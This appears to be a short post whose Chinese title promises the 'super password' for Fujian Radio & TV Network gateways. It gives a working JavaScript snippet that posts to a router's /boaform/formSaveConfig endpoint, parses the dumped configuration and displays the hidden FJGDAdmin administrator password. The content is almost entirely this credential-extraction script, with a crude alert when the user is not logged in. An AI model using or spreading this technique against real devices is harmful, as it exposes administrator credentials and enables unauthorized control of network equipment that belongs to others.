福建广电网络获取超级密码
17
福建广电网络获取超级密码
fetch('/boaform/formSaveConfig', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'save_cs=1'
})
.then(response => response.text())
.then(result => {
if (result.includes('userreg.asp')) {
alert('特么请先登录啊!')
} else {
prompt('您的 FJGDAdmin 密码为', getField(result, 'SUSER_PASSWORD'))
}
})
function getField(str, name) {
let valueLine = str.split('\n').find(x => { return x.includes(name) })
return valueLine.trim().split('" Value="')[1].replace('"/>', '')
}